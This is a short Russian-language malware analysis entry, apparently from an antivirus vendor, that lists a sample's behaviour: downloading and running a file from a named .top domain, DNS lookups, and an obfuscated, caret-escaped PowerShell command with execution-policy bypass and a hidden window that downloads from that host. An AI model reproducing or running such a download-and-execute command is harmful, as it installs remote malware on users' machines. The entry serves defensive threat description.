Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://hometowergop.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pOW^erS^H^eLL.EX^e^ ^-exeC^ut^IONPol^iC^Y^ BY^pAss ^-^NoPr^OFile ^-^W^I^nD^OW^st^YLE HiD^de^N^ ^(^n^ew-^ObjEcT Sy^STe^m.^nET.W^e^BCl^IeN^T^).D^oW^Nloa^df^ILe('http://hometower...
Сетевая активность
UDP
- DNS ASK ho####wergop.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pOW^erS^H^eLL.EX^e^ ^-exeC^ut^IONPol^iC^Y^ BY^pAss ^-^NoPr^OFile ^-^W^I^nD^OW^st^YLE HiD^de^N^ ^(^n^ew-^ObjEcT Sy^STe^m.^nET.W^e^BCl^IeN^T^).D^oW^Nloa^df^ILe('http://hometower...' (со скрытым окном)
